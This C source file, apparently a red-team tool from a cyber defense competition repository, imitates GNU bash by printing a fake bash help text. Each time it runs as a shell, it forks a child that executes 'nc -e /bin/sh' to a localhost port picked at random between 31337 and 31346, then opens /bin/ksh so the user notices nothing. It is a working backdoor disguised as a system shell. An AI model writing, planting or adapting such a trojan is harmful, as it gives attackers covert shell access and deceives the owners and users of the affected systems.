initial commit
[old-and-random.git] / ccdc / bash.c
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <sys/types.h>
4 #include <sys/wait.h>
5 #include <unistd.h>
6
7 int count, r, c;
8
9 unsigned time_seed()
10 {
11   time_t now = time ( 0 );
12   unsigned char *p = (unsigned char *)&now;
13   unsigned seed = 0;
14   size_t i;
15
16   for ( i = 0; i < sizeof now; i++ )
17     seed = seed * ( 100 + 2U ) + p[i];
18
19   return seed;
20 }
21
22 unsigned help() {
23   printf("GNU bash, version 3.2.39(1)-release-(i486-pc-linux-gnu)");
24   printf("Usage:        bash [GNU long option] [option] ...");
25   printf("      bash [GNU long option] [option] script-file ...");
26   printf("GNU long options:");
27   printf("      --debug");
28   printf("      --debugger");
29   printf("      --dump-po-strings");
30   printf("      --dump-strings");
31   printf("      --help");
32   printf("      --init-file");
33   printf("      --login");
34   printf("      --noediting");
35   printf("      --noprofile");
36   printf("      --norc");
37   printf("      --posix");
38   printf("      --protected");
39   printf("      --rcfile");
40   printf("      --restricted");
41   printf("      --verbose");
42   printf("      --version");
43   printf("      --wordexp");
44   printf("Shell options:");
45   printf("      -irsD or -c command or -O shopt_option          (invocation only)");
46   printf("      -abefhkmnptuvxBCHP or -o option");
47   printf("Type `bash -c help set' for more information about shell options.");
48   printf("Type `bash -c help' for more information about shell builtin commands.");
49   printf("Use the `bashbug' command to report bugs.");
50
51   exit(0);
52 }
53  
54 int main(int argc, char *argv[ ]) {
55   srand ( time_seed() );
56   while ((c = getopt(argc, argv, ":hbf:Vbf:?")) != -1) {
57     switch(c) {
58       case 'h':
59         help();
60         break;
61       case 'V':
62         help();
63         break;
64       case '?':
65         help();
66         break;
67     }
68   }
69   srand ( time_seed() );
70   r = rand() %(10-1)+1;
71   pid_t pid;
72   pid=fork();
73   if (pid<0) {
74     //perror("Fork Failed\n");
75     return 1;
76   } else if (pid == 0) {
77     switch(r) {
78       case 1:
79         execlp("/bin/sh","sh","-c","nc -e /bin/sh localhost 31337& /bin/ksh", NULL);
80         break;
81       case 2:
82         execlp("/bin/sh","sh","-c","nc -e /bin/sh localhost 31338& /bin/ksh", NULL);
83         break;
84       case 3:
85         execlp("/bin/sh","sh","-c","nc -e /bin/sh localhost 31339& /bin/ksh", NULL);
86         break;
87       case 4:
88         execlp("/bin/sh","sh","-c","nc -e /bin/sh localhost 31340& /bin/ksh", NULL);
89         break;
90       case 5:
91         execlp("/bin/sh","sh","-c","nc -e /bin/sh localhost 31341& /bin/ksh", NULL);
92         break;
93       case 6:
94         execlp("/bin/sh","sh","-c","nc -e /bin/sh localhost 31342& /bin/ksh", NULL);
95         break;
96       case 7:
97         execlp("/bin/sh","sh","-c","nc -e /bin/sh localhost 31343& /bin/ksh", NULL);
98         break;
99       case 8:
100         execlp("/bin/sh","sh","-c","nc -e /bin/sh localhost 31344& /bin/ksh", NULL);
101         break;
102       case 9:
103         execlp("/bin/sh","sh","-c","nc -e /bin/sh localhost 31345& /bin/ksh", NULL);
104         break;
105       case 10:
106         execlp("/bin/sh","sh","-c","nc -e /bin/sh localhost 31346& /bin/ksh", NULL);
107         break;
108     }
109     //execlp("/bin/bash",NULL);
110     return 0;
111   } else {
112     wait(NULL);
113     //printf("Child Complete\n");
114   }
115 }
116